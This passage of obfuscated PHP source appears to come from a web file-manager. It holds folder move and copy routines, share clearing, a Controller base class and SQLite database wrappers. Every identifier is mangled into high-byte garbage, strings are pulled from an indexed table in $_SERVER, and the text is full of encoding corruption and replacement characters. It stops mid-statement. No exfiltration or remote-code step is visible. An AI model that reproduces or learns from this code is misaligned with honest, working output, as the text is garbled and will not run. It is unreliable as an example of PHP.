$this->fileNameExistAuto($¶Æ<C2B6>¤Ü«, $ƒµŠ•ÆÞ); $¾<>Ï<EFBFBD><C38F>Ù = $this->_move($ÉÚŠéÞ—, $¶Æ<C2B6>¤Ü«, $ì³ë<C2B3>ï¥, $¤ñº“¬½, $ûÁãìµÉ); $this->sourceCacheClear(); if ($ƒµŠ•ÆÞ[$Íõè«Ùš[485]] == $Íõè«Ùš[91] && $±©¶‚ÔÞ) { $this->folderSizeResetChildren($¾<>Ï<EFBFBD><C38F>Ù); } Model($Íõè«Ùš[230])->linkAdd($¤ñº“¬½[$Íõè«Ùš[629]]); if ($±©¶‚ÔÞ && $¤ñº“¬½[$Íõè«Ùš[660]]) { $this->removeNow($ÉÚŠéÞ—, !1); } $this->lockMoveEnd($ÉÚŠéÞ—); $this->lockWriteEnd($¶Æ<C2B6>¤Ü«, $Õš<C395>âÐŽ); $this->folderSizeReset($ƒµŠ•ÆÞ[$Íõè«Ùš[192]]); $this->folderSizeReset($¶Æ<C2B6>¤Ü«); $Ÿˆ€ Òë = array($ƒµŠ•ÆÞ[$Íõè«Ùš[192]], $¶Æ<C2B6>¤Ü«); if ($ƒµŠ•ÆÞ[$Íõè«Ùš[485]] == $Íõè«Ùš[91]) { $Ÿˆ€ Òë[] = $ÉÚŠéÞ—; } $this->updateModifyTime($Ÿˆ€ Òë); Model($Íõè«Ùš[633])->eventMove($ÉÚŠéÞ—, $ƒµŠ•ÆÞ[$Íõè«Ùš[192]], $¶Æ<C2B6>¤Ü«); Hook::trigger($Íõè«Ùš[659], $ßÑ̼Á†); return $¾<>Ï<EFBFBD><C38F>Ù; } private function _move($ÏüòÉëú, $ù¸Òúìè, $ŽÏ‘‘Éû, &$Ƴ½Û‹à, $‰¹ó…“ç = '') { $Ä´­à”  =& $_SERVER[ˆ¡¹µ‹Â]; $î§ÌŸõç = $this->sourceInfo($ÏüòÉëú); $Ï<>Žèçº = $î§ÌŸõç[$Ä´­à” [485]] == $Ä´­à” [91]; $<24>†ê¥¹º = $‰¹ó…“ç ? $‰¹ó…“ç : $î§ÌŸõç[$Ä´­à” [32]]; $¶–¡‘«ç = $this->fileNameExistAuto($ù¸Òúìè, $î§ÌŸõç); $this->lockMoveStart($ÏüòÉëú); $this->lockWriteStart($ù¸Òúìè, $<24>†ê¥¹º); if (!$¶–¡‘«ç) { return $this->_moveForce($ÏüòÉëú, $ù¸Òúìè, $<24>†ê¥¹º); } $Âã”´Û² = $¶–¡‘«ç; $Ù<>ò㯌 = !1; if ($Ï<>Žèçº) { if ($ŽÏ‘‘Éû == REPEAT_RENAME_FOLDER) { $<24>†ê¥¹º = $this->fileNameAuto($ù¸Òúìè, $<24>†ê¥¹º, $ŽÏ‘‘Éû, $Ï<>Žèçº); $Âã”´Û² = $this->_moveForce($ÏüòÉëú, $ù¸Òúìè, $<24>†ê¥¹º); } else { if ($ŽÏ‘‘Éû == REPEAT_RENAME_FOLDER) { $ŽÏ‘‘Éû = REPEAT_RENAME; } $ãá<C3A3>øÕå = $this->_childrenListSelect($ÏüòÉëú); foreach ($ãá<C3A3>øÕå as $¸ˆÙ°Îö) { $this->_move($¸ˆÙ°Îö[$Ä´­à” [193]], $¶–¡‘«ç, $ŽÏ‘‘Éû, $Ƴ½Û‹à); } $Ù<>ò㯌 = !0; } } else { if ($ŽÏ‘‘Éû == REPEAT_SKIP) { $Ù<>ò㯌 = !0; } else { if ($ŽÏ‘‘Éû == REPEAT_RENAME || $ŽÏ‘‘Éû == REPEAT_RENAME_FOLDER) { $<24>†ê¥¹º = $this->fileNameAuto($ù¸Òúìè, $<24>†ê¥¹º, $ŽÏ‘‘Éû, $Ï<>Žèçº); $Âã”´Û² = $this->_moveForce($ÏüòÉëú, $ù¸Òúìè, $<24>†ê¥¹º); } else { if ($ŽÏ‘‘Éû == REPEAT_REPLACE) { $¯•½‡<C2BD>ì = $this->sourceInfoCache($¶–¡‘«ç); $åó“©Ì¦ = $this->fileHistory($¯•½‡<C2BD>ì, $î§ÌŸõç[$Ä´­à” [541]], $î§ÌŸõç[$Ä´­à” [79]]); $Ù<>ò㯌 = !0; if ($åó“©Ì¦) { $Ƴ½Û‹à[$Ä´­à” [629]][] = $î§ÌŸõç[$Ä´­à” [541]]; } } } } } if ($Ù<>ò㯌 && !$Ƴ½Û‹à[$Ä´­à” [660]]) { $Ƴ½Û‹à[$Ä´­à” [660]] = !0; } return $Âã”´Û²; } private function _moveForce($­ÐέêÇ, $¹ÇõôäÝ, $ž¡Åäñé) { $⇹øþ =& $_SERVER[ˆ¡¹µ‹Â]; $‘«œƒö… = $this->sourceInfo($­ÐέêÇ); $¯ê»¿ðÊ = $this->sourceInfo($¹ÇõôäÝ); $û‰ƒ«¤Ÿ = $‘«œƒö…[$⇹øþ[485]] == $⇹øþ[91]; $µ¥Ò¹ï© = array($⇹øþ[477] => $¯ê»¿ðÊ[$⇹øþ[193]], $⇹øþ[652] => $¯ê»¿ðÊ[$⇹øþ[584]] . $¯ê»¿ðÊ[$⇹øþ[193]] . $⇹øþ[50], $⇹øþ[648] => $¯ê»¿ðÊ[$⇹øþ[190]], $⇹øþ[649] => $¯ê»¿ðÊ[$⇹øþ[569]], $⇹øþ[651] => USER_ID, $⇹øþ[494] => $ž¡Åäñé); $ƒÉ‘¿»Î = $‘«œƒö…[$⇹øþ[190]] == SourceModel::TYPE_GROUP && $¯ê»¿ðÊ[$⇹øþ[190]] == SourceModel::TYPE_GROUP && $‘«œƒö…[$⇹øþ[569]] == $¯ê»¿ðÊ[$⇹øþ[569]]; if (!$ƒÉ‘¿»Î && $this->moveClearAuth) { Model($⇹øþ[567])->authClear($­ÐέêÇ); } $çÙ½¾«‚ = $‘«œƒö…[$⇹øþ[505]] == $⇹øþ[91] && $¯ê»¿ðÊ[$⇹øþ[505]] != $⇹øþ[91]; if ($çÙ½¾«‚) { $µ¥Ò¹ï©[$⇹øþ[504]] = 0; } if ($û‰ƒ«¤Ÿ) { $°É¾î÷„ = array($⇹øþ[652] => array($⇹øþ[612], $‘«œƒö…[$⇹øþ[584]] . $‘«œƒö…[$⇹øþ[193]] . $⇹øþ[613])); $œúÛ•¢ç = $‘«œƒö…[$⇹øþ[584]] . $‘«œƒö…[$⇹øþ[193]] . $⇹øþ[50]; $˜õç<C3B5>² = $¯ê»¿ðÊ[$⇹øþ[584]] . $¯ê»¿ðÊ[$⇹øþ[193]] . $⇹øþ[50] . $‘«œƒö…[$⇹øþ[193]] . $⇹øþ[50]; $ÇÉŠÁ‘Š = array($⇹øþ[652] => array($⇹øþ[661], "\162\145\160\154\x61\x63\x65\x28\160\x61\x72\145\x6e\x74\114\145\x76\x65\154\54\47{$œúÛ•¢ç}\47\x2c\x27{$˜õç<C3B5>²}\47\51"), $⇹øþ[648] => $¯ê»¿ðÊ[$⇹øþ[190]], $⇹øþ[649] => $¯ê»¿ðÊ[$⇹øþ[569]]); if ($çÙ½¾«‚) { $ÇÉŠÁ‘Š[$⇹øþ[504]] = 0; } $this->where($°É¾î÷„)->data($ÇÉŠÁ‘Š)->save(); } $this->where(array($⇹øþ[491] => $­ÐέêÇ))->data($µ¥Ò¹ï©)->save(); return $­ÐέêÇ; } private function clearShare($©¾ò°Å©, $ÔÅ÷¼¬ä) { $ø’¬˜«É =& $_SERVER[ˆ¡¹µ‹Â]; $Ù¿®“ž¹ = $this->sourceInfo($©¾ò°Å©); $“ïâé<C3A2>õ = $this->sourceInfo($ÔÅ÷¼¬ä); if ($Ù¿®“ž¹[$ø’¬˜«É[569]] == $“ïâé<C3A2>õ[$ø’¬˜«É[569]] && $Ù¿®“ž¹[$ø’¬˜«É[190]] == $ø’¬˜«É[662]) { return; } $„Äáù÷Æ = array($ø’¬˜«É[584] => array($ø’¬˜«É[612], $Ù¿®“ž¹[$ø’¬˜«É[584]] . $©¾ò°Å© . $ø’¬˜«É[613])); $瞸<C2B8>Œ = $this->field($ø’¬˜«É[491])->where($„Äáù÷Æ)->getField($ø’¬˜«É[193], !0); if (!$瞸<C2B8>Œ) { return; } $„Äáù÷Æ = array($ø’¬˜«É[193] => array($ø’¬˜«É[7], $瞸<C2B8>Œ), $ø’¬˜«É[663] => 1); $’•£µô§ = Model($ø’¬˜«É[664])->field($ø’¬˜«É[665])->where($„Äáù÷Æ)->select(); if (!$’•£µô§) { return; } $’•£µô§ = array_to_keyvalue($’•£µô§, $ø’¬˜«É[12], $ø’¬˜«É[665]); $„Äáù÷Æ = array($ø’¬˜«É[665] => array($ø’¬˜«É[7], $’•£µô§)); Model($ø’¬˜«É[664])->where($„Äáù÷Æ)->save(array($ø’¬˜«É[663] => 0)); Model($ø’¬˜«É[666])->where($„Äáù÷Æ)->delete(); } public function copyFolderFromIO($­°™°ÑÚ, $ëßÌð»Ê, $›þ¸¼Òß, $îŒì„¥¸, $¼®«û÷˜, $‘ô¦‚…ð = false) { $–♽ô¥ =& $_SERVER[ˆ¡¹µ‹Â]; $’ÎÔˆ Æ = array($–♽ô¥[630] => array(), $–♽ô¥[631] => array(), $–♽ô¥[629] => array(), $–♽ô¥[667] => array()); $²•Ž¼È¥ = $‘ô¦‚…ð ? $‘ô¦‚…ð : $­°™°ÑÚ->pathThis($ëßÌð»Ê); $Ñøíèɹ = $this->fileNameExist($›þ¸¼Òß, $²•Ž¼È¥); $¯›¹Ûߘ = $this->mkdir($›þ¸¼Òß, $²•Ž¼È¥, $îŒì„¥¸); if (!$Ñøíèɹ || $îŒì„¥¸ == REPEAT_RENAME_FOLDER) { $îŒì„¥¸ = !1; } if ($Ñøíèɹ) { $this->_childrenAllMake($Ñøíèɹ); } Hook::trigger($–♽ô¥[668]); $this->_copyChildTo($­°™°ÑÚ, $ëßÌð»Ê, $¯›¹Ûߘ, $îŒì„¥¸, $’ÎÔˆ Æ, $¼®«û÷˜); Hook::trigger($–♽ô¥[669]); if ($¯›¹Ûߘ) { $this->folderSizeResetChildren($¯›¹Ûߘ); } $this->_childrenListClear(); Model($–♽ô¥[632])->addAll($’ÎÔˆ Æ[$–♽ô¥[630]], array(), !0); Model($–♽ô¥[633])->eventCopy($¯›¹Ûߘ); $this->saveAll($’ÎÔˆ Æ[$–♽ô¥[631]]); Model($–♽ô¥[544])->linkAdd($’ÎÔˆ Æ[$–♽ô¥[629]]); Model($–♽ô¥[544])->remove($’ÎÔˆ Æ[$–♽ô¥[667]]); $this->folderSizeReset($›þ¸¼Òß); $this->updateModifyTime($›þ¸¼Òß); return $¯›¹Ûߘ; } private function _copyChildTo($Î…õý‘¨, $ϯäÈ”õ, $Áäİ¡ß, $°°£“«Ú, &$…À´Ì˜©, $¶˜…ˆÈÊ) { $•Øéû<C3A9>« =& $_SERVER[ˆ¡¹µ‹Â]; $žèó±—ñ = $this->sourceInfoCache($Áäİ¡ß); $¥´‰Õê­ = $Î…õý‘¨->listPath($ϯäÈ”õ); $¥´‰Õê­ = $¥´‰Õê­ ? $¥´‰Õê­ : array($•Øéû<C3A9>«[86] => array(), $•Øéû<C3A9>«[85] => array()); $ÙúŒ¡Ö¨ = array_merge($¥´‰Õê­[$•Øéû<C3A9>«[86]], $¥´‰Õê­[$•Øéû<C3A9>«[85]]); $¤ú<C2A4>þúš = $this->_addFiles($Î…õý‘¨, $¥´‰Õê­[$•Øéû<C3A9>«[86]], $¶˜…ˆÈÊ); $à‘˼þ = array(); foreach ($ÙúŒ¡Ö¨ as &$©Ì•Á³¥) { if (isset($¤ú<C2A4>þúš[$©Ì•Á³¥[$•Øéû<C3A9>«[32]]])) { $©Ì•Á³¥ = $¤ú<C2A4>þúš[$©Ì•Á³¥[$•Øéû<C3A9>«[32]]]; } $©Ì•Á³¥[$•Øéû<C3A9>«[485]] = $©Ì•Á³¥[$•Øéû<C3A9>«[33]] == $•Øéû<C3A9>«[78]; $©Ì•Á³¥[$•Øéû<C3A9>«[486]] = substr(_get($©Ì•Á³¥, $•Øéû<C3A9>«[169], $•Øéû<C3A9>«[12]), 0, 10); $©Ì•Á³¥[$•Øéû<C3A9>«[79]] = _get($©Ì•Á³¥, $•Øéû<C3A9>«[79], 0); $©Ì•Á³¥[$•Øéû<C3A9>«[541]] = _get($©Ì•Á³¥, $•Øéû<C3A9>«[541], 0); if (!isset($©Ì•Á³¥[$•Øéû<C3A9>«[670]]) && $©Ì•Á³¥[$•Øéû<C3A9>«[541]]) { $…À´Ì˜©[$•Øéû<C3A9>«[667]][] = $©Ì•Á³¥[$•Øéû<C3A9>«[541]]; } if ($°°£“«Ú) { $¬¬¾ô„¬ = $this->fileNameExistCache($Áäİ¡ß, $©Ì•Á³¥[$•Øéû<C3A9>«[32]]); if ($¬¬¾ô„¬) { if ($©Ì•Á³¥[$•Øéû<C3A9>«[485]] || $°°£“«Ú == REPEAT_SKIP) { continue; } if ($°°£“«Ú == REPEAT_REPLACE) { $Ë–ûÜœâ = $this->sourceInfoCache($¬¬¾ô„¬); $éÏë¦×  = $this->fileHistory($Ë–ûÜœâ, $©Ì•Á³¥[$•Øéû<C3A9>«[541]], $©Ì•Á³¥[$•Øéû<C3A9>«[79]]); if ($éÏë¦× ) { $…À´Ì˜©[$•Øéû<C3A9>«[629]][] = $©Ì•Á³¥[$•Øéû<C3A9>«[541]]; } continue; } else { if ($°°£“«Ú == REPEAT_RENAME) { $©Ì•Á³¥[$•Øéû<C3A9>«[32]] = $this->fileNameAutoCache($Áäİ¡ß, $©Ì•Á³¥[$•Øéû<C3A9>«[32]], $°°£“«Ú, !1); } } } } if (!$©Ì•Á³¥[$•Øéû<C3A9>«[485]] && $©Ì•Á³¥[$•Øéû<C3A9>«[541]] == 0) { continue; } if (!$©Ì•Á³¥[$•Øéû<C3A9>«[485]] && $©Ì•Á³¥[$•Øéû<C3A9>«[541]]) { $…À´Ì˜©[$•Øéû<C3A9>«[629]][] = $©Ì•Á³¥[$•Øéû<C3A9>«[541]]; } $à‘˼þ[] = $this->_makeItemData($©Ì•Á³¥, $žèó±—ñ, $©Ì•Á³¥[$•Øéû<C3A9>«[32]]); } unset($©Ì•Á³¥); if (!empty($à‘˼þ)) { $this->addAll($à‘˼þ); $this->_childrenListSelect($Áäİ¡ß); } $¾øù«ô¦ = $this->_childrenList($Áäİ¡ß); $¾øù«ô¦ = array_to_keyvalue($¾øù«ô¦, $•Øéû<C3A9>«[32]); foreach ($ÙúŒ¡Ö¨ as $©Ì•Á³¥) { $Ë–ûÜœâ = $¾øù«ô¦[$©Ì•Á³¥[$•Øéû<C3A9>«[32]]]; $®»é¼…” = $Ë–ûÜœâ[$•Øéû<C3A9>«[193]]; $this->_copyApplyMeta($Ë–ûÜœâ, $…À´Ì˜©); if ($©Ì•Á³¥[$•Øéû<C3A9>«[33]] == $•Øéû<C3A9>«[78]) { $©Ì•Á³¥[$•Øéû<C3A9>«[87]] = $Î…õý‘¨->getPathInner($©Ì•Á³¥[$•Øéû<C3A9>«[87]]); $this->_copyChildTo($Î…õý‘¨, $©Ì•Á³¥[$•Øéû<C3A9>«[87]], $®»é¼…”, $°°£“«Ú, $…À´Ì˜©, $¶˜…ˆÈÊ); } } } private function _addFiles($ï¥æÝéñ, $Éè»ñ¿·, $ˆŠÖŠ€©) { $¢œ°Ïœ<C38F> =& $_SERVER[ˆ¡¹µ‹Â]; if (!$Éè»ñ¿· || count($Éè»ñ¿·) == 0) { return array(); } $ûÔ•ÊÑ® = array(); foreach ($Éè»ñ¿· as &$й±Þ“…) { Hook::trigger($¢œ°Ïœ<C38F>[671], $й±Þ“…); $й±Þ“…[$¢œ°Ïœ<C38F>[87]] = $ï¥æÝéñ->getPathInner($й±Þ“…[$¢œ°Ïœ<C38F>[87]]); $<>Û´º = $ï¥æÝéñ->hashSimple($й±Þ“…[$¢œ°Ïœ<C38F>[87]]); $Üþƒò…ß = $ï¥æÝéñ->hashMd5($й±Þ“…[$¢œ°Ïœ<C38F>[87]]); if (strlen($Üþƒò…ß) > 10 && !isset($ûÔ•ÊÑ®[$Üþƒò…ß])) { $ûÔ•ÊÑ®[$Üþƒò…ß] = array(); } $й±Þ“…[$¢œ°Ïœ<C38F>[672]] = $<>Û´º; $й±Þ“…[$¢œ°Ïœ<C38F>[547]] = $Üþƒò…ß; $ûÔ•ÊÑ®[$Üþƒò…ß][] =& $й±Þ“…; if (count($ûÔ•ÊÑ®[$Üþƒò…ß]) > 1) { $й±Þ“…[$¢œ°Ïœ<C38F>[670]] = !0; } Hook::trigger($¢œ°Ïœ<C38F>[673], $й±Þ“…); } unset($й±Þ“…); $¢¾Ê±½Ê = array($¢œ°Ïœ<C38F>[547] => array($¢œ°Ïœ<C38F>[7], array_keys($ûÔ•ÊÑ®))); $ì²ß­ÕÙ = Model($¢œ°Ïœ<C38F>[674]); $êÀŒü¦Ç = $ì²ß­ÕÙ->where($¢¾Ê±½Ê)->select(); $êÀŒü¦Ç = $êÀŒü¦Ç ? $êÀŒü¦Ç : array(); foreach ($êÀŒü¦Ç as $Ðׄټº) { if (!isset($ûÔ•ÊÑ®[$Ðׄټº[$¢œ°Ïœ<C38F>[547]]])) { continue; } $¬‘íµËþ = $ûÔ•ÊÑ®[$Ðׄټº[$¢œ°Ïœ<C38F>[547]]]; foreach ($¬‘íµËþ as &$й±Þ“…) { $й±Þ“…[$¢œ°Ïœ<C38F>[541]] = $Ðׄټº[$¢œ°Ïœ<C38F>[541]]; $й±Þ“…[$¢œ°Ïœ<C38F>[670]] = !0; } unset($й±Þ“…); } $¼¨<C2BC>ŽÜÉ = array(); foreach ($Éè»ñ¿· as $ÑŠŒË…ý) { Hook::trigger($¢œ°Ïœ<C38F>[675], $ÑŠŒË…ý); if (isset($ÑŠŒË…ý[$¢œ°Ïœ<C38F>[670]]) && $ÑŠŒË…ý[$¢œ°Ïœ<C38F>[670]]) { Hook::trigger($¢œ°Ïœ<C38F>[676], $ÑŠŒË…ý); continue; } $¼úäÇ÷Å = $ï¥æÝéñ->getPathInner($ÑŠŒË…ý[$¢œ°Ïœ<C38F>[87]]); $娒§ßÚ = $ì²ß­ÕÙ->addFileMake($¼úäÇ÷Å, $ÑŠŒË…ý[$¢œ°Ïœ<C38F>[79]], $ÑŠŒË…ý[$¢œ°Ïœ<C38F>[672]], $ÑŠŒË…ý[$¢œ°Ïœ<C38F>[547]], $ÑŠŒË…ý[$¢œ°Ïœ<C38F>[32]], $ˆŠÖŠ€©); Hook::trigger($¢œ°Ïœ<C38F>[676], $ÑŠŒË…ý); if (!is_array($娒§ßÚ)) { continue; } $¼¨<C2BC>ŽÜÉ[] = $娒§ßÚ; } $ì²ß­ÕÙ->addAll($¼¨<C2BC>ŽÜÉ); $¢¾Ê±½Ê = array($¢œ°Ïœ<C38F>[547] => array($¢œ°Ïœ<C38F>[7], array_keys($ûÔ•ÊÑ®))); $êÀŒü¦Ç = $ì²ß­ÕÙ->where($¢¾Ê±½Ê)->select(); $êÀŒü¦Ç = $êÀŒü¦Ç ? $êÀŒü¦Ç : array(); foreach ($êÀŒü¦Ç as $Ðׄټº) { if (!isset($ûÔ•ÊÑ®[$Ðׄټº[$¢œ°Ïœ<C38F>[547]]])) { continue; } $´°Ü …Ÿ =& $ûÔ•ÊÑ®[$Ðׄټº[$¢œ°Ïœ<C38F>[547]]]; foreach ($´°Ü …Ÿ as &$й±Þ“…) { $й±Þ“…[$¢œ°Ïœ<C38F>[541]] = $Ðׄټº[$¢œ°Ïœ<C38F>[541]]; } unset($й±Þ“…); } $Û§¼ü×Ê = array(); foreach ($Éè»ñ¿· as $ˆÍü£¢‚) { $Û§¼ü×Ê[$ˆÍü£¢‚[$¢œ°Ïœ<C38F>[32]]] = $ˆÍü£¢‚; } return $Û§¼ü×Ê; } } define($_SERVER[ˆ¡¹µ‹Â][677], $_SERVER[ˆ¡¹µ‹Â][678]); $tukerlwafc = $_SERVER[ˆ¡¹µ‹Â][679]; goto d¦ä¡Æë¸; Fê‡éÝμ™: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $„Æò¦‚Ö =& $_SERVER[ˆ¡¹µ‹Â]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$„Æò¦‚Ö[6]] =& $config; $this->values[$„Æò¦‚Ö[7]] =& $in; $this->tpl = TEMPLATE . MOD . $„Æò¦‚Ö[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ö³Ú¥ÙŸ) { if (1 === func_num_args()) { $this->{$ö³Ú¥ÙŸ} = new $ö³Ú¥ÙŸ(); } else { $ܦ<C39C>ž<EFBFBD>Ç = new ReflectionClass($ö³Ú¥ÙŸ); $½¸•õ㯠= func_get_args(); array_shift($½¸•õã¯); $this->{$ö³Ú¥ÙŸ} = $ܦ<C39C>ž<EFBFBD>Ç->newInstanceArgs($½¸•õã¯); } return $this->{$ö³Ú¥ÙŸ}; } public function routeBind($èòžøõº, $‘êôõ˜ù, $œí·‘‚— = 3) { $Ýø¨››¤ =& $_SERVER[ˆ¡¹µ‹Â]; $ÞÑ™ú¯ç = $this->in[$Ýø¨››¤[9]]; $èòžøõº = str_replace($Ýø¨››¤[10], $Ýø¨››¤[11], trim(trim($èòžøõº, $Ýø¨››¤[8]), $Ýø¨››¤[12])); if (!$èòžøõº || count($ÞÑ™ú¯ç) <= $œí·‘‚—) { return !1; } $©»Œ¯’³ = !0; $žÑÐõ¨Š = explode($Ýø¨››¤[8], $èòžøõº); for ($ÑÀ¸Ò–ý = 0; $ÑÀ¸Ò–ý < count($žÑÐõ¨Š); $ÑÀ¸Ò–ý++) { if ($žÑÐõ¨Š[$ÑÀ¸Ò–ý] != $ÞÑ™ú¯ç[$œí·‘‚— + $ÑÀ¸Ò–ý]) { $©»Œ¯’³ = !1; break; } } if (!$©»Œ¯’³) { return; } call_user_func_array(array($this, $‘êôõ˜ù), array()); } public function routeArgs($µ—„“¶à = 3) { $²«ÓÕ—<C395> = $this->in[$_SERVER[ˆ¡¹µ‹Â][9]]; if (count($²«ÓÕ—<C395>) <= $µ—„“¶à) { return array(); } $—ò¿ñ€˜ = array(); for ($Ôõðƒ÷• = $µ—„“¶à; $Ôõðƒ÷• < count($²«ÓÕ—<C395>); $Ôõðƒ÷• += 2) { $—ò¿ñ€˜[$²«ÓÕ—<C395>[$Ôõðƒ÷•]] = $²«ÓÕ—<C395>[$Ôõðƒ÷• + 1]; $this->in[$²«ÓÕ—<C395>[$Ôõðƒ÷•]] = $²«ÓÕ—<C395>[$Ôõðƒ÷• + 1]; } return $—ò¿ñ€˜; } protected function assign($‹‚öýÉ, $ΧÁÏñõ) { $this->values[$‹‚öýÉ] = $ΧÁÏñõ; } protected function display($«ØÌÙ½æ) { ob_end_clean(); extract($this->values); require $this->tpl . $«ØÌÙ½æ; } } class DbSqliteBase extends Db { public function __construct($Õ<>“¢êÊ = '') { $ó΃ϭ± =& $_SERVER[ˆ¡¹µ‹Â]; if (!extension_loaded($ó΃ϭ±[13])) { think_exception(think_lang($ó΃ϭ±[14]) . $ó΃ϭ±[15]); } if (!empty($Õ<>“¢êÊ)) { if (!isset($Õ<>“¢êÊ[$ó΃ϭ±[16]])) { $Õ<>“¢êÊ[$ó΃ϭ±[16]] = 438; } $this->config = $Õ<>“¢êÊ; if (empty($this->config[$ó΃ϭ±[17]])) { $this->config[$ó΃ϭ±[17]] = array(); } } } public function connect($ê „æÎ´ = '', $©—þð€‰ = 0) { $ûêéþ”ç =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($this->linkID[$©—þð€‰])) { if (empty($ê „æÎ´)) { $ê „æÎ´ = $this->config; } $ÍÎѹ<C391>ü = !empty($ê „æÎ´[$ûêéþ”ç[17]][$ûêéþ”ç[18]]) ? $ê „æÎ´[$ûêéþ”ç[17]][$ûêéþ”ç[18]] : $this->pconnect; $…®Í힇 = $ÍÎѹ<C391>ü ? $ûêéþ”ç[19] : $ûêéþ”ç[20]; $this->linkID[$©—þð€‰] = $…®Í힇($ê „æÎ´[$ûêéþ”ç[21]], $ê „æÎ´[$ûêéþ”ç[16]]); if (!$this->linkID[$©—þð€‰]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$©—þð€‰], 30000); if (1 != think_config($ûêéþ”ç[22])) { unset($this->config); } } return $this->linkID[$©—þð€‰]; } public function free() { $this->queryID = null; } public function query($ØÕ¾îÏù) { $©•¨÷¬<C3B7> =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ØÕ¾îÏù; if ($this->queryID) { $this->free(); } think_action_status($©•¨÷¬<C3B7>[23], 1); think_status($©•¨÷¬<C3B7>[24]); $this->queryID = sqlite_query($this->_linkID, $ØÕ¾îÏù); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $¬Ý´üžß = $this->getAll(); return $¬Ý´üžß; } } public function execute($¾‹’›ÁÖ) { $ÆÞóšÓÀ =& $_SERVER[ˆ¡¹µ‹Â]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $¾‹’›ÁÖ; if ($this->queryID) { $this->free(); } think_action_status($ÆÞóšÓÀ[25], 1); think_status($ÆÞóšÓÀ[24]); $Ÿ»Ç‘Éç = sqlite_exec($this->_linkID, $¾‹’›ÁÖ); $this->debug(); if (!1 === $Ÿ»Ç‘Éç) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ˆ¡¹µ‹Â][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ÕÒýËÒ¶ = sqlite_query($this->_linkID, $_SERVER[ˆ¡¹µ‹Â][27]); if (!$ÕÒýËÒ¶) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $<24><>ʬ“Ç = sqlite_query($this->_linkID, $_SERVER[ˆ¡¹µ‹Â][28]); if (!$<24><>ʬ“Ç) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $¬½è˜—€ = array(); if ($this->numRows > 0) { for ($µÚ¸‰Èã = 0; $µÚ¸‰Èã < $this->numRows; $µÚ¸‰Èã++) { $¬½è˜—€[$µÚ¸‰Èã] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $¬½è˜—€; } public function getFields($ƒíÛ±¿Æ) { $Ýò»šÄÕ =& $_SERVER[ˆ¡¹µ‹Â]; $•õþˆäÞ = $this->query($Ýò»šÄÕ[29] . $ƒíÛ±¿Æ . $Ýò»šÄÕ[30]); $›÷‹ëŽ˜ = array(); if ($•õþˆäÞ) { foreach ($•õþˆäÞ as $¸à–ž¤Ä => $¶­<E2809A>¹­) { $›÷‹ëŽ˜[$¶­<E2809A>¹­[$Ýò»šÄÕ[31]]] = array($Ýò»šÄÕ[32] => $¶­<E2809A>¹­[$Ýò»šÄÕ[31]], $Ýò»šÄÕ[33] => $¶­<E2809A>¹­[$Ýò»šÄÕ[34]], $Ýò»šÄÕ[35] => (bool) ($¶­<E2809A>¹­[$Ýò»šÄÕ[36]] === $Ýò»šÄÕ[12]), $Ýò»šÄÕ[37] => $¶­<E2809A>¹­[$Ýò»šÄÕ[38]], $Ýò»šÄÕ[39] => strtolower($¶­<E2809A>¹­[$Ýò»šÄÕ[40]]) == $Ýò»šÄÕ[41], $Ýò»šÄÕ[42] => strtolower($¶­<E2809A>¹­[$Ýò»šÄÕ[43]]) == $Ýò»šÄÕ[44]); } } return $›÷‹ëŽ˜; } public function getTables($­µÂ§Šª = '') { $ÜÑ© Ž<C2A0> =& $_SERVER[ˆ¡¹µ‹Â]; $è™ÓŒ Œ = $this->query($ÜÑ© Ž<C2A0>[45] . $ÜÑ© Ž<C2A0>[46] . $ÜÑ© Ž<C2A0>[47]); $¼´ºì¥¬ = array(); foreach ($è™ÓŒ Œ as $ˆÇÏ<C387>¢¥ => $üŘ÷DZ) { $¼´ºì¥¬[$ˆÇÏ<C387>¢¥] = current($üŘ÷DZ); } return $¼´ºì¥¬; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ñÔ¬þÐÌ =& $_SERVER[ˆ¡¹µ‹Â]; $ÏѨž—Í = sqlite_last_error($this->_linkID); $this->error = $ÏѨž—Í . $ñÔ¬þÐÌ[4] . sqlite_error_string($ÏѨž—Í); if ($ñÔ¬þÐÌ[12] != $this->queryStr) { $this->error .= LNG($ñÔ¬þÐÌ[48]) . $this->queryStr; } think_trace($this->error, $ñÔ¬þÐÌ[12], $ñÔ¬þÐÌ[49]); return $this->error; } public function escapeString($˜ƒÁ¬’‘) { return sqlite_escape_string($˜ƒÁ¬’‘); } public function parseLimit($ÔԥœÙ) { $ïÕìÉ«ú =& $_SERVER[ˆ¡¹µ‹Â]; $í<>´<EFBFBD>†„ = $ïÕìÉ«ú[12]; if (!empty($ÔԥœÙ)) { $ÔԥœÙ = explode($ïÕìÉ«ú[50], $ÔԥœÙ); if (count($ÔԥœÙ) > 1) { $í<>´<EFBFBD>†„ .= $ïÕìÉ«ú[51] . $ÔԥœÙ[1] . $ïÕìÉ«ú[52] . $ÔԥœÙ[0] . $ïÕìÉ«ú[53]; } else { $í<>´<EFBFBD>†„ .= $ïÕìÉ«ú[51] . $ÔԥœÙ[0] . $ïÕìÉ«ú[53]; } } return $í<>´<EFBFBD>†„; } } class DbSqlite3Base extends Db { public function __construct($ì¾®žÚØ = '') { $—º¥²Âò =& $_SERVER[ˆ¡¹µ‹Â]; if (!class_exists($—º¥²Âò[54])) { 